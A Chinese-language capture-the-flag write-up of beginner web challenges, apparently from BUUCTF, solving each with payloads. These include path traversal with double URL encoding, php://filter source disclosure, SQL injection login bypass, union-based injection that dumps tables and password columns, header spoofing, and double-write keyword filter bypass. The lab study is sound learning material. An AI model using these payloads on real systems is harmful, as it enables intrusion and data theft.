1.Warmup
首先F12 发现source.php 访问发现源码
首先!empty($_REQUEST['file'])作用为file参数不能为空 is_string($_REQUEST['file'])作用为file参数必须为字符串 接着调用checkFile函数判断是否满足条件,若是满足则include $_REQUEST[‘file’]. 现在来看checkFile函数
1.首先定义了一个白命单:$whitelist = ["source"=>"source.php","hint"=>"hint.php"] checkFile中的第一个if判断与前面提到的一样是判断字符串的 2.第二个if判断给了我们两个php文件,source.php是我们看到的源码,接着看hint.php
所以我们可以用get方式?file=source.php或者hint.php 3.接着$_page = mb_substr($page,0,mb_strpos($page . '?', '?') 这一段代码的意思是返回file参数第一个?之前的字符串 如果存在于白名单则返回true 在这里我们可以给出一个非预期题解(可以得到flag,但是不是出题人想考的点) payload: ?file=hint.php?../../../../../ffffllllaaaagggg 4. 接着往下看 $_page = urldecode($page);此处是一个url解码 构造payload: ?file=source.php%253f../../../../../ffffllllaaaagggg 因为url经过后端时候会自动进行一次解码 所以需要二次编码 ?的第一次URL编码是%3f 第二次URL编码是%253f可以得到flag.
2.[强网杯 2019]随便注 1
XCTF刷题笔记第五题,有时间再搬运过来
3.[极客大挑战 2019]EasySQL 1
最简单的注入,注入入门,直接给答题的图
1' or 1=1# 密码随意 不懂的自己看sql注入详解
4.[极客大挑战 2019]Havefun
进去是个有爱的撸猫界面(!咳咳咳 进入正题 F12 发现注释
get方式上传
5.[SUCTF 2019]EasySQL 1
超出能力范围,日后再说
6.[极客大挑战 2019]Secret File
F12访问Archive_room.php 接着点击secret,发现跳转到end界面
凭借做题经验怀疑网页被重定向loacation到end界面 用burpsuit抓包
发现secr3t.php 访问
发现strstr函数、stristr函数所以tp、input、data、等字符被过滤了这些字符自然联想到php伪协议 还有一个php://fileter 构造payload: ?file=php://filter/read=convert.base64-encode/resource=flag.php 发现base64编码 菜鸟工具解码
得到flag!
疑惑(求大佬解答)
7.[ACTF2020 新生赛]Include 1
和第六题考点类似 都是伪协议
再次尝试?file=php://data://text/plain 同样hacker! 接着我们尝试?file=php://filter/read=convert.base64-encode/resource=flag.php
菜鸟工具解码
8.[极客大挑战 2019]LoveSQL 1
用户名:' 密码:1
报错:You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '1'' at line 1. 推测是字符型注入
接着尝试一下
用户名: 1' or 1=1# 密码:1
尝试各种解码 有卵用and无卵用!! 尝试union注入 1.利用orderby来推测出该数据表中的字段数量
可以推测出字段数量为3 2.接着就是爆显 用户名:1' union select 1,2,3# 密码:1
3.1' union select 1,database(),3# 得到数据库名为geek
4.查询表名称 1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='geek'#
5.查询字段名称(由题目名称猜测flag所在的表应该为l0ve1ysq1) 1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1'#
6.最后一步得到flag payload:1' union select 1,2,group_concat(password) from l0ve1ysq1 #
15.[极客大挑战 2019]Http 1
查看页面源码,发现Secret.php文件
访问Secret.php页面,给了提示 It doesn't come from 'https://www.Sycsecret.com'
果断想起来http响应头中的referer属性,burpsuit抓包,添加referer:https://www.Sycsecret.com,重新访问页面
browser是浏览器,再次在刚刚抓到的包更改user-agent属性 user-agent:Syclover
最后一步伪造ip地址X-Forwarded-For:127.0.0.1得到flag
21.[极客大挑战 2019]BabySQL 1
这道题在LoveSQL的基础上增加了一个考点------SQL注入的双写绕过技巧 简单介绍一下双写绕过注入 例:我们在访问的网页中 输入
在上一题的网页中 我们应该是可以登录成功的(虽然得不到有用的信息) 但是在这道题中 我们会得到一段报错: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '1=1#' and password='123'' at line 1. 原理分析:网站做了一些过滤,从我们刚刚输入的用户名和报错提示,可以推断出关键字or是被过滤的,所以or 1=1#传入到数据库后变为1=1# 绕过方法:双写 例如:or---> oorr from--->frofromm and--->anandd
解题:方法同LoveSQL的注入方式 1.union select 查询字段数 如下: 1' uniounionn selecselectt 1,2,3#
2.查数据库名称:1' uniounionn selecselectt 1,2,database()#
3.查表名:1' uniounionn selecselectt 1,2,group_concat(table_name) frofromm infoorrmation_schema.tables wherwheree table_schema='geek'#
4.查字段名:1' uniounionn selecselectt 1,2,group_concat(column_name) frofromm infoorrmation_schema.columns wherwheree table_name='b4bsql'#
5.查flag:1' uniounionn selecselectt group_concat(passwoorrd) frofromm b4bsql#